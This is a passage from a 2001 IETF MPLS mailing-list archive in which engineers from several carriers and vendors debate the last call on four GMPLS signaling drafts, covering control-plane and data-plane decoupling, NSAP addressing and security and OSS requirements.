> I also understand the other comments from Hirokazu and Shehzad re
> exclusion of NSAP, having been at the last OIF meeting where there was
> considerable and spirited discussion of this issue.  The current GMPLS
> architecture document specifically excludes NSAP, and from the last OIF
> meeting 6 out of 12 operators discussing this issue felt there was some
> need to support NSAP addressing.
> 
> Given that the Requirements Design Team will be starting shortly, I
> concur with Yuri's suggestion for inclusion of a clear statement of what
> is - and isn't - covered in the GMPLS Signaling Description, RSVP
> Extensions, LDP Extensions drafts.   A suggestion for such text is
> provided below (the intro will need to be tailored to each draft):
> 
> "Overall, the objective of Generalized MPLS is to adapt MPLS signaling
> and other protocols to enable their applicability to various switching
> technologies.   A key motivating application has been applicability to
> support a distributed control plane for various circuit-switching
> technologies.   The signaling specifications contained within the these
> drafts offer a starting point towards this goal; their current scope and
> applicability, and areas for further assessment, are summarized below:
> 
> These drafts provide some extensions to traditional MPLS signaling and
> the basic signaling mechanisms provided in RSVP and LDP Ids (RFCs and
> standard track documents) have not been modified.   It is noted that
> MPLS signaling has been designed with a focus upon packet-switched
> network based applications, utilizing  requirements and architectural
> constructs suitable for such applications.   There may be significant
> distinguishing characteristics with regard to requirements and
> architectural considerations  for a distributed control plane that
> supports circuit-switched network applications.  One well acknowledged
> instance involves the decoupling of the control plane from the data
> plane.  Such differences may have substantive impact on the signaling
> mechanisms, the details of which require further study.  In addition,
> upon further study of operational requirements and circuit-switching
> technology specific aspects, further signaling extensions may be
> required.
> 
> These drafts are focussed upon intra-area signaling interfaces, and do
> not address issues and considerations related to other domains of
> usage.   Applicability to inter-area and inter-domain interfaces
> requires further study."
> 
> Hope this helps us move forward.
> 
> Cheers,
>   Eve
> 
> itu
> 
> shehzad.mirza@bt.com wrote:
> >
> > Hi,
> >
> > I fully agree with Hirokokazu Ishimatsu's concerns on the GMPLS signalling
> > drafts.
> >
> > (1) Decoupling of the control plane from the data plane should be clearly
> > stated.
> >
> > This decoupling clearly has an impact on how the protocols should be defined
> > to cope with control plane failures.
> >
> > (2) Exclusion of NSAP
> >
> > The GMPLS architecture document, (which logically speaking should perhaps
> > have been put forward for last call, ahead of the functional description)
> > explicitly excludes NSAP.  NSAP addressing is used within SDH/SONET
> > communications channels (DCC bytes) therefore the use of alternative
> > addressing within the same channels may have an adverse effect on
> > interworking with legacy equipment, particularly with regard to management.
> > This raises the general concern of what level of compatibility is
> > required/desired with legacy SDH/SONET equipment.  This debate whilst likely
> > to be contentious, is unavoidable as the interworking of control plane,
> > management plane and transport will have a direct impact on how this
> > equipment is deployed and the economics of whether such deployments will
> > ever pay off.
> >
> > (3) Requirements from both security and OSS has not been discussed fully
> > yet.
> >
> > Security concerns have not been fully addressed, particularly at the
> > architectural level.  The use of separate control network may necessitate
> > the need for 24 hour staff to protect against 'Denial of Service' attacks as
> > currently happens for IP router networks.  The interaction between the
> > management plane and control plane need to be addressed, for example it is
> > undesirable to have multiple alarms generated when circuits are created and
> > torn down otherwise the management of a large scale network will become
> > impossible.  Discussions on service aspects need to take place, otherwise
> > the adoption of GMPLS equipment may be hampered, by these (solvable)
> > concerns.
> >
> > Best regards
> >
> > Shehzad Mirza
> >
> >
> >
> > > -----Original Message-----
> > > From: Hirokazu Ishimatsu [SMTP:hirokazu@japan-telecom.co.jp]
> > > Sent: 29 May 2001 02:46
> > > To:   George Swallow; ccamp; mpls
> > > Cc:   ip-optical; tsg15q11; tsg13q10
> > > Subject:      [IP-Optical] RE: GMPLS Last Calls
> > >
> > > Hi,
> > >
> > > From a carrier's perspective, my concerns about GMPLS signaling drafts
> > > are as follows:
> > >
> > > (1) Decoupling of the control plane from the data plane should be clearly
> > >      stated.
> > > (2) Exclusion of NSAP
> > > (3) Requirements from both security and OSS (Operating Support System)
> > >      has not been discussed fully yet.
> > >
> > > Best regards,
> > > Hirokazu Ishimatsu
> > > Japan Telecom
> > >
> > > > -----Original Message-----
> > > > From: owner-ccamp@ops.ietf.org [mailto:owner-ccamp@ops.ietf.org]On
> > > > Behalf Of George Swallow
> > > > Sent: Tuesday, May 15, 2001 2:52 AM
> > > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > > Subject: GMPLS Last Calls
> > > >
> > > >
> > > > This message initiates a last call on four GMPLS drafts.  The last
> > > > call is being issued jointly in the MPLS and CCAMP workgroups.
> > > >
> > > > The drafts are:
> > > >
> > > >     1.  Generalized MPLS - Signaling Functional Description
> > > >
> > > >            <draft-ietf-mpls-generalized-signaling-04.txt>
> > > >
> > > >
> > > >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> > > >
> > > >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> > > >
> > > >
> > > >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> > > >
> > > >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> > > >
> > > >
> > > >     4.  GMPLS Extensions for SONET and SDH Control
> > > >
> > > >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> > > >
> > > >
> > > > The last call closes May 29, 12 pm GMT.
> > > >
> > > >
> > > > -  V2KG (Vijay, Vijay, Kireeti, & George)
> > > >
> > > >
> > > > ======================================================================
> > > > George Swallow       Cisco Systems                   (978) 244-8143
> > > >                      250 Apollo Drive
> > > >                      Chelmsford, Ma 01824
> > > >
> > > >
> > > >
> > > >
> > > >
> > >
> > > _______________________________________________
> > > IP-Optical mailing list
> > > IP-Optical@lists.bell-labs.com
> > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> >
> > _______________________________________________
> > IP-Optical mailing list
> > IP-Optical@lists.bell-labs.com
> > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> 
> _______________________________________________
> IP-Optical mailing list
> IP-Optical@lists.bell-labs.com
> http://lists.bell-labs.com/mailman/listinfo/ip-optical
--------------076141E8FCA7BD2DE27A0322
Content-Type: text/x-vcard; charset=us-ascii;
 name="dimitri.papadimitriou.vcf"
Content-Description: Card for Dimitri Papadimitriou
Content-Disposition: attachment;
 filename="dimitri.papadimitriou.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Dimitri;Papadimitriou Dimitri
tel;home:+32 2 3434361
tel;work:+32 3 2408491
x-mozilla-html:FALSE
url:http://www.alcatel.com
org:Alcatel Bell;IPO NSG - Antwerpen 
version:2.1
email;internet:dimitri.papadimitriou@alcatel.be
title:Optical Networking R&S - Senior Engineer
adr;quoted-printable:;;Francis Wellesplein, 1=0D=0AB-2018 Antwerpen;;;;BELGIUM
fn:Papadimitriou Dimitri
end:vcard

--------------076141E8FCA7BD2DE27A0322--



From owner-mpls@UU.NET  Tue May 29 16:54:04 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA11038
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 16:54:04 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrdr11827;
	Tue, 29 May 2001 20:54:22 GMT
Received: by mail-control.mail.uu.net 
	id QQkrdr06300
	for mpls-outgoing; Tue, 29 May 2001 20:53:50 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkrdr06292
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 20:53:47 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrdr07675
	for <mpls@uu.net>; Tue, 29 May 2001 20:53:33 GMT
Received: from hoemail2.firewall.lucent.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hoemail2.lucent.com [192.11.226.163])
	id QQkrdr10953
	for <mpls@uu.net>; Tue, 29 May 2001 20:53:33 GMT
Received: from hoemail2.firewall.lucent.com (localhost [127.0.0.1])
	by hoemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f4TKrWX05203
	for <mpls@uu.net>; Tue, 29 May 2001 16:53:32 -0400 (EDT)
Received: from hotair.hobl.lucent.com (h199-118-135-2.lucent.com [199.118.135.2])
	by hoemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with SMTP id f4TKrWw05176;
	Tue, 29 May 2001 16:53:32 -0400 (EDT)
Received: from hotair.hobl.lucent.com by hotair.hobl.lucent.com (SMI-8.6/EMS-1.5 sol2)
	id QAA07923; Tue, 29 May 2001 16:53:31 -0400
Message-ID: <3B140F47.2805D577@hotair.hobl.lucent.com>
Date: Tue, 29 May 2001 17:06:15 -0400
From: Eve Varma <evarma@lucent.com>
X-Mailer: Mozilla 4.5 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Dimitri Papadimitriou <dimitri.papadimitriou@alcatel.be>
CC: ccamp@ops.ietf.org, mpls@UU.NET, ip-optical@lists.bell-labs.com,
        tsg15q11@itu.int, t1x15@t1.org
Subject: Re: [IP-Optical] RE: GMPLS Last Calls
References: <71DA16F18D32D2119A1D0000F8FE9A94092DDE4C@mbtlipnt01.btlabs.bt.co.uk> <3B13DFA9.BBD8E678@hotair.hobl.lucent.com> <3B14093F.ED016D1A@alcatel.be>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi Dimitri,

   Sorry, I'm a bit confused by your response. My input is based upon
looking at the email flying around. I tried to cite some requirements
from different sources related to the optical control plane that could
be used for input, as they have started to be discussed on the mailing
list.  The GMPLS arch document does mention UNI also, so I think the
input from the documents related to UNI are also relevant.  Re the BT
document, you'll have to ask the BT authors.

                                  Eve

Dimitri Papadimitriou wrote:
> 
> Hi,
> 
> In this e-mail you speak about a "Requirements Design Team"
> do you refer to the NNI OIF project here i guess ?
> 
> I wouldn't like to (re-)explain here the nice "reception" offered
> during the San Diego IETF meeting on the BT draft. Moreover, what's
> sound very strange here is that the author himself didn't present
> his draft during the last IETF meeting (since there was a -01 version)!
> Are you serious when you speak about ASON UNI requirements at the
> IETF ?
> 
> You speak about GMPLS profiles for the UNI at the OIF, and potentially
> in the future for ASTN/ASON which are completely independent of the
> current GMPLS specification (self-consistency). We don't taylor a
> protocol suite based on the model to which we have to apply it since
> if the model change - you have to re-design your protocol ! -. Today
> GMPLS can be accomodated to any UNI/NNI interfaces coming from
> wherever you want. Why ? Because from the beginning it is a model
> independent specification ! By defining the profile you desire you
> can apply it to the OIF UNI / ASON UNI (if still needed) / etc. Also,
> don't spend to many time at the OIF to define the architecture it is
> already done...
> 
> Now you mention one question which is under discussion about the
> correlation between the planes... the good point is that with the
> current work done at the IETF and OIF a solution will be found.
> However this does not mean AT ALL that the current GMPLS
> specifications are not going toward a very good direction. Therefore
> i don't think we need the additional text as you propose. In fact this
> is clearly an extended problem of the "restoration" issue already
> discussed on this mailing list and we already agree upon.
> 
> Thanks,
> - Dimitri.
> 
> Eve Varma wrote:
> >
> > Hi all,
> >
> > Watching the various emails regarding the GMPLS drafts, I see several
> > issues being raised related to some concerns that service provider
> > requirements haven't been sufficiently reflected in the GMPLS signaling
> > specifications - or at least, not been tested against.  (An initial set
> > of requirements was provided by BT on
> > Considerations on the development of an Optical Control Plane -
> > http://search.ietf.org/internet-drafts/draft-freeland-octrl-cons-01.txt.
> > Monica has mentioned other currently available sources of service
> > provider requirements as well, such as the Carriers Optical Services
> > Framework and Associated Requirements for the UNI, developed in the OIF
> > and submitted to T1 and ITU-T.  Some requirements were also submitted
> > earlier in the draft Requirements on the ASON UNI -
> > http://search.ietf.org/internet-drafts/draft-lin-mpls-ipo-ason-uni-00.txt.
> > )
> >
> > For example, assuring separation of the control plane from the data
> > plane continues to arise - the GMPLS architecture document mentions this
> > separation, but it's not clear how the GMPLS signaling specifications
> > reflect the implications of this decoupling.  This is best illustrated
> > in the handling of control plane failures.  In particular, what happens
> > to established circuit connections if the control plane fails? If the
> > control plane recovers, how do we sync the connection state?  As an
> > example, from RSVP RFC: "RSVP takes a "soft state" approach to managing
> > the reservation state in routers and hosts. RSVP soft state is created
> > and periodically refreshed by Path and Resv messages. The state is
> > deleted if no matching refresh messages arrive before the expiration of
> > a "cleanup timeout" interval." This means that if for whatever reason
> > control messages are lost, the associated data paths will be released.
> > Thus there is strong failure correlation between the control plane and
> > data plane, which is inconsistent with the GMPLS architecture document,
> > and also results in tearing down optical connections resulting from even
> > temporary failures in the control plane.
> >
> > I also understand the other comments from Hirokazu and Shehzad re
> > exclusion of NSAP, having been at the last OIF meeting where there was
> > considerable and spirited discussion of this issue.  The current GMPLS
> > architecture document specifically excludes NSAP, and from the last OIF
> > meeting 6 out of 12 operators discussing this issue felt there was some
> > need to support NSAP addressing.
> >
> > Given that the Requirements Design Team will be starting shortly, I
> > concur with Yuri's suggestion for inclusion of a clear statement of what
> > is - and isn't - covered in the GMPLS Signaling Description, RSVP
> > Extensions, LDP Extensions drafts.   A suggestion for such text is
> > provided below (the intro will need to be tailored to each draft):
> >
> > "Overall, the objective of Generalized MPLS is to adapt MPLS signaling
> > and other protocols to enable their applicability to various switching
> > technologies.   A key motivating application has been applicability to
> > support a distributed control plane for various circuit-switching
> > technologies.   The signaling specifications contained within the these
> > drafts offer a starting point towards this goal; their current scope and
> > applicability, and areas for further assessment, are summarized below:
> >
> > These drafts provide some extensions to traditional MPLS signaling and
> > the basic signaling mechanisms provided in RSVP and LDP Ids (RFCs and
> > standard track documents) have not been modified.   It is noted that
> > MPLS signaling has been designed with a focus upon packet-switched
> > network based applications, utilizing  requirements and architectural
> > constructs suitable for such applications.   There may be significant
> > distinguishing characteristics with regard to requirements and
> > architectural considerations  for a distributed control plane that
> > supports circuit-switched network applications.  One well acknowledged
> > instance involves the decoupling of the control plane from the data
> > plane.  Such differences may have substantive impact on the signaling
> > mechanisms, the details of which require further study.  In addition,
> > upon further study of operational requirements and circuit-switching
> > technology specific aspects, further signaling extensions may be
> > required.
> >
> > These drafts are focussed upon intra-area signaling interfaces, and do
> > not address issues and considerations related to other domains of
> > usage.   Applicability to inter-area and inter-domain interfaces
> > requires further study."
> >
> > Hope this helps us move forward.
> >
> > Cheers,
> >   Eve
> >
> > itu
> >
> > shehzad.mirza@bt.com wrote:
> > >
> > > Hi,
> > >
> > > I fully agree with Hirokokazu Ishimatsu's concerns on the GMPLS signalling
> > > drafts.
> > >
> > > (1) Decoupling of the control plane from the data plane should be clearly
> > > stated.
> > >
> > > This decoupling clearly has an impact on how the protocols should be defined
> > > to cope with control plane failures.
> > >
> > > (2) Exclusion of NSAP
> > >
> > > The GMPLS architecture document, (which logically speaking should perhaps
> > > have been put forward for last call, ahead of the functional description)
> > > explicitly excludes NSAP.  NSAP addressing is used within SDH/SONET
> > > communications channels (DCC bytes) therefore the use of alternative
> > > addressing within the same channels may have an adverse effect on
> > > interworking with legacy equipment, particularly with regard to management.
> > > This raises the general concern of what level of compatibility is
> > > required/desired with legacy SDH/SONET equipment.  This debate whilst likely
> > > to be contentious, is unavoidable as the interworking of control plane,
> > > management plane and transport will have a direct impact on how this
> > > equipment is deployed and the economics of whether such deployments will
> > > ever pay off.
> > >
> > > (3) Requirements from both security and OSS has not been discussed fully
> > > yet.
> > >
> > > Security concerns have not been fully addressed, particularly at the
> > > architectural level.  The use of separate control network may necessitate
> > > the need for 24 hour staff to protect against 'Denial of Service' attacks as
> > > currently happens for IP router networks.  The interaction between the
> > > management plane and control plane need to be addressed, for example it is
> > > undesirable to have multiple alarms generated when circuits are created and
> > > torn down otherwise the management of a large scale network will become
> > > impossible.  Discussions on service aspects need to take place, otherwise
> > > the adoption of GMPLS equipment may be hampered, by these (solvable)
> > > concerns.
> > >
> > > Best regards
> > >
> > > Shehzad Mirza
> > >
> > >
> > >
> > > > -----Original Message-----
> > > > From: Hirokazu Ishimatsu [SMTP:hirokazu@japan-telecom.co.jp]
> > > > Sent: 29 May 2001 02:46
> > > > To:   George Swallow; ccamp; mpls
> > > > Cc:   ip-optical; tsg15q11; tsg13q10
> > > > Subject:      [IP-Optical] RE: GMPLS Last Calls
> > > >
> > > > Hi,
> > > >
> > > > From a carrier's perspective, my concerns about GMPLS signaling drafts
> > > > are as follows:
> > > >
> > > > (1) Decoupling of the control plane from the data plane should be clearly
> > > >      stated.
> > > > (2) Exclusion of NSAP
> > > > (3) Requirements from both security and OSS (Operating Support System)
> > > >      has not been discussed fully yet.
> > > >
> > > > Best regards,
> > > > Hirokazu Ishimatsu
> > > > Japan Telecom
> > > >
> > > > > -----Original Message-----
> > > > > From: owner-ccamp@ops.ietf.org [mailto:owner-ccamp@ops.ietf.org]On
> > > > > Behalf Of George Swallow
> > > > > Sent: Tuesday, May 15, 2001 2:52 AM
> > > > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > > > Subject: GMPLS Last Calls
> > > > >
> > > > >
> > > > > This message initiates a last call on four GMPLS drafts.  The last
> > > > > call is being issued jointly in the MPLS and CCAMP workgroups.
> > > > >
> > > > > The drafts are:
> > > > >
> > > > >     1.  Generalized MPLS - Signaling Functional Description
> > > > >
> > > > >            <draft-ietf-mpls-generalized-signaling-04.txt>
> > > > >
> > > > >
> > > > >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> > > > >
> > > > >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> > > > >
> > > > >
> > > > >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> > > > >
> > > > >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> > > > >
> > > > >
> > > > >     4.  GMPLS Extensions for SONET and SDH Control
> > > > >
> > > > >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> > > > >
> > > > >
> > > > > The last call closes May 29, 12 pm GMT.
> > > > >
> > > > >
> > > > > -  V2KG (Vijay, Vijay, Kireeti, & George)
> > > > >
> > > > >
> > > > > ======================================================================
> > > > > George Swallow       Cisco Systems                   (978) 244-8143
> > > > >                      250 Apollo Drive
> > > > >                      Chelmsford, Ma 01824
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > >
> > > > _______________________________________________
> > > > IP-Optical mailing list
> > > > IP-Optical@lists.bell-labs.com
> > > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> > >
> > > _______________________________________________
> > > IP-Optical mailing list
> > > IP-Optical@lists.bell-labs.com
> > > http://lists.bell-labs.com/mailman/listinfo/ip-optical
> >
> > _______________________________________________
> > IP-Optical mailing list
> > IP-Optical@lists.bell-labs.com
> > http://lists.bell-labs.com/mailman/listinfo/ip-optical


From owner-mpls@UU.NET  Tue May 29 16:57:41 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA11088
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 16:57:40 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrdr16467;
	Tue, 29 May 2001 20:57:57 GMT
Received: by mail-control.mail.uu.net 
	id QQkrdr06719
	for mpls-outgoing; Tue, 29 May 2001 20:57:26 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrdr06709
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 20:57:12 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrdr23532
	for <mpls@uu.net>; Tue, 29 May 2001 20:56:31 GMT
Received: from hoemail2.firewall.lucent.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hoemail2.lucent.com [192.11.226.163])
	id QQkrdr15656
	for <mpls@uu.net>; Tue, 29 May 2001 20:56:30 GMT
Received: from hoemail2.firewall.lucent.com (localhost [127.0.0.1])
	by hoemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f4TKuUX07923
	for <mpls@uu.net>; Tue, 29 May 2001 16:56:30 -0400 (EDT)
Received: from hotair.hobl.lucent.com (h199-118-135-2.lucent.com [199.118.135.2])
	by hoemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with SMTP id f4TKuTw07908;
	Tue, 29 May 2001 16:56:29 -0400 (EDT)
Received: from hotair.hobl.lucent.com by hotair.hobl.lucent.com (SMI-8.6/EMS-1.5 sol2)
	id QAA08187; Tue, 29 May 2001 16:56:28 -0400
Message-ID: <3B140FF9.42680F27@hotair.hobl.lucent.com>
Date: Tue, 29 May 2001 17:09:13 -0400
From: Eve Varma <evarma@lucent.com>
X-Mailer: Mozilla 4.5 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Dimitri Papadimitriou <dimitri.papadimitriou@alcatel.be>
CC: ccamp@ops.ietf.org, mpls@UU.NET, ip-optical@lists.bell-labs.com,
        tsg15q11@itu.int, t1x15@t1.org
Subject: Re: [IP-Optical] RE: GMPLS Last Calls
References: <71DA16F18D32D2119A1D0000F8FE9A94092DDE4C@mbtlipnt01.btlabs.bt.co.uk> <3B13DFA9.BBD8E678@hotair.hobl.lucent.com> <3B14093F.ED016D1A@alcatel.be>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi Dimitri,
   Sorry - missed your first question.  I was not referring to an NNI
OIF team; I was referring to the IETF team being formed.
                         Eve

Dimitri Papadimitriou wrote:
> 
> Hi,
> 
> In this e-mail you speak about a "Requirements Design Team"
> do you refer to the NNI OIF project here i guess ?
> 
> I wouldn't like to (re-)explain here the nice "reception" offered
> during the San Diego IETF meeting on the BT draft. Moreover, what's
> sound very strange here is that the author himself didn't present
> his draft during the last IETF meeting (since there was a -01 version)!
> Are you serious when you speak about ASON UNI requirements at the
> IETF ?
> 
> You speak about GMPLS profiles for the UNI at the OIF, and potentially
> in the future for ASTN/ASON which are completely independent of the
> current GMPLS specification (self-consistency). We don't taylor a
> protocol suite based on the model to which we have to apply it since
> if the model change - you have to re-design your protocol ! -. Today
> GMPLS can be accomodated to any UNI/NNI interfaces coming from
> wherever you want. Why ? Because from the beginning it is a model
> independent specification ! By defining the profile you desire you
> can apply it to the OIF UNI / ASON UNI (if still needed) / etc. Also,
> don't spend to many time at the OIF to define the architecture it is
> already done...
> 
> Now you mention one question which is under discussion about the
> correlation between the planes... the good point is that with the
> current work done at the IETF and OIF a solution will be found.
> However this does not mean AT ALL that the current GMPLS
> specifications are not going toward a very good direction. Therefore
> i don't think we need the additional text as you propose. In fact this
> is clearly an extended problem of the "restoration" issue already
> discussed on this mailing list and we already agree upon.
> 
> Thanks,
> - Dimitri.
> 
> Eve Varma wrote:
> >
> > Hi all,
> >
> > Watching the various emails regarding the GMPLS drafts, I see several
> > issues being raised related to some concerns that service provider
> > requirements haven't been sufficiently reflected in the GMPLS signaling
> > specifications - or at least, not been tested against.  (An initial set
> > of requirements was provided by BT on
> > Considerations on the development of an Optical Control Plane -
> > http://search.ietf.org/internet-drafts/draft-freeland-octrl-cons-01.txt.
> > Monica has mentioned other currently available sources of service
> > provider requirements as well, such as the Carriers Optical Services
> > Framework and Associated Requirements for the UNI, developed in the OIF
> > and submitted to T1 and ITU-T.  Some requirements were also submitted
> > earlier in the draft Requirements on the ASON UNI -
> > http://search.ietf.org/internet-drafts/draft-lin-mpls-ipo-ason-uni-00.txt.
> > )
> >
> > For example, assuring separation of the control plane from the data
> > plane continues to arise - the GMPLS architecture document mentions this
> > separation, but it's not clear how the GMPLS signaling specifications
> > reflect the implications of this decoupling.  This is best illustrated
> > in the handling of control plane failures.  In particular, what happens
> > to established circuit connections if the control plane fails? If the
> > control plane recovers, how do we sync the connection state?  As an
> > example, from RSVP RFC: "RSVP takes a "soft state" approach to managing
> > the reservation state in routers and hosts. RSVP soft state is created
> > and periodically refreshed by Path and Resv messages. The state is
> > deleted if no matching refresh messages arrive before the expiration of
> > a "cleanup timeout" interval." This means that if for whatever reason
> > control messages are lost, the associated data paths will be released.
> > Thus there is strong failure correlation between the control plane and
> > data plane, which is inconsistent with the GMPLS architecture document,
> > and also results in tearing down optical connections resulting from even
> > temporary failures in the control plane.
> >
> > I also understand the other comments from Hirokazu and Shehzad re
> > exclusion of NSAP, having been at the last OIF meeting where there was
> > considerable and spirited discussion of this issue.  The current GMPLS
> > architecture document specifically excludes NSAP, and from the last OIF
> > meeting 6 out of 12 operators discussing this issue felt there was some
> > need to support NSAP addressing.
> >
> > Given that the Requirements Design Team will be starting shortly, I
> > concur with Yuri's suggestion for inclusion of a clear statement of what
> > is - and isn't - covered in the GMPLS Signaling Description, RSVP
> > Extensions, LDP Extensions drafts.   A suggestion for such text is
> > provided below (the intro will need to be tailored to each draft):
> >
> > "Overall, the objective of Generalized MPLS is to adapt MPLS signaling
> > and other protocols to enable their applicability to various switching
> > technologies.   A key motivating application has been applicability to
> > support a distributed control plane for various circuit-switching
> > technologies.   The signaling specifications contained within the these
> > drafts offer a starting point towards this goal; their current scope and
> > applicability, and areas for further assessment, are summarized below:
> >
> > These drafts provide some extensions to traditional MPLS signaling and
> > the basic signaling mechanisms provided in RSVP and LDP Ids (RFCs and
> > standard track documents) have not been modified.   It is noted that
> > MPLS signaling has been designed with a focus upon packet-switched
> > network based applications, utilizing  requirements and architectural
> > constructs suitable for such applications.   There may be significant
> > distinguishing characteristics with regard to requirements and
> > architectural considerations  for a distributed control plane that
> > supports circuit-switched network applications.  One well acknowledged
> > instance involves the decoupling of the control plane from the data
> > plane.  Such differences may have substantive impact on the signaling
> > mechanisms, the details of which require further study.  In addition,
> > upon further study of operational requirements and circuit-switching
> > technology specific aspects, further signaling extensions may be
> > required.
> >
> > These drafts are focussed upon intra-area signaling interfaces, and do
> > not address issues and considerations related to other domains of
> > usage.   Applicability to inter-area and inter-domain interfaces
> > requires further study."
> >
> > Hope this helps us move forward.
> >
> > Cheers,
> >   Eve
> >
> > itu
> >
> > shehzad.mirza@bt.com wrote:
> > >
> > > Hi,
> > >
> > > I fully agree with Hirokokazu Ishimatsu's concerns on the GMPLS signalling
> > > drafts.
> > >
> > > (1) Decoupling of the control plane from the data plane should be clearly
> > > stated.
> > >
> > > This decoupling clearly has an impact on how the protocols should be defined
> > > to cope with control plane failures.
> > >
> > > (2) Exclusion of NSAP
> > >
> > > The GMPLS architecture document, (which logically speaking should perhaps
> > > have been put forward for last call, ahead of the functional description)
> > > explicitly excludes NSAP.  NSAP addressing is used within SDH/SONET
> > > communications channels (DCC bytes) therefore the use of alternative
> > > addressing within the same channels may have an adverse effect on
> > > interworking with legacy equipment, particularly with regard to management.
> > > This raises the general concern of what level of compatibility is
> > > required/desired with legacy SDH/SONET equipment.  This debate whilst likely
> > > to be contentious, is unavoidable as the interworking of control plane,
> > > management plane and transport will have a direct impact on how this
> > > equipment is deployed and the economics of whether such deployments will
> > > ever pay off.
> > >
> > > (3) Requirements from both security and OSS has not been discussed fully
> > > yet.
> > >
> > > Security concerns have not been fully addressed, particularly at the
> > > architectural level.  The use of separate control network may necessitate
> > > the need for 24 hour staff to protect against 'Denial of Service' attacks as
> > > currently happens for IP router networks.  The interaction between the
> > > management plane and control plane need to be addressed, for example it is
> > > undesirable to have multiple alarms generated when circuits are created and
> > > torn down otherwise the management of a large scale network will become
> > > impossible.  Discussions on service aspects need to take place, otherwise
> > > the adoption of GMPLS equipment may be hampered, by these (solvable)
> > > concerns.
> > >
> > > Best regards
> > >
> > > Shehzad Mirza
> > >
> > >
> > >
> > > > -----Original Message-----
> > > > From: Hirokazu Ishimatsu [SMTP:hirokazu@japan-telecom.co.jp]
> > > > Sent: 29 May 2001 02:46
> > > > To:   George Swallow; ccamp; mpls
> > > > Cc:   ip-optical; tsg15q11; tsg13q10
> > > > Subject:      [IP-Optical] RE: GMPLS Last Calls
> > > >
> > > > Hi,
> > > >
> > > > From a carrier's perspective, my concerns about GMPLS signaling drafts
> > > > are as follows:
> > > >
> > > > (1) Decoupling of the control plane from the data plane should be clearly
> > > >      stated.
> > > > (2) Exclusion of NSAP
> > > > (3) Requirements from both security and OSS (Operating Support System)
> > > >      has not been discussed fully yet.
> > > >
> > > > Best regards,
> > > > Hirokazu Ishimatsu
> > > > Japan Telecom
> > > >
> > > > > -----Original Message-----
> > > > > From: owner-ccamp@ops.ietf.org [mailto:owner-ccamp@ops.ietf.org]On
> > > > > Behalf Of George Swallow
> > > > > Sent: Tuesday, May 15, 2001 2:52 AM
> > > > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > > > Subject: GMPLS Last Calls
> > > > >
> > > > >
> > > > > This message initiates a last call on four GMPLS drafts.  The last
> > > > > call is being issued jointly in the MPLS and CCAMP workgroups.
> > > > >
> > > > > The drafts are:
> > > > >
> > > > >     1.  Generalized MPLS - Signaling Functional Description
> > > > >
> > > > >            <draft-ietf-mpls-generalized-signaling-04.txt>
> > > > >
> > > > >
> > > > >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> > > > >
> > > > >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> > > > >
> > > > >
> > > > >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> > > > >
> > > > >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> > > > >
> > > > >
> > > > >     4.  GMPLS Extensions for SONET and SDH Control
> > > > >
> > > > >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> > > > >
> > > > >
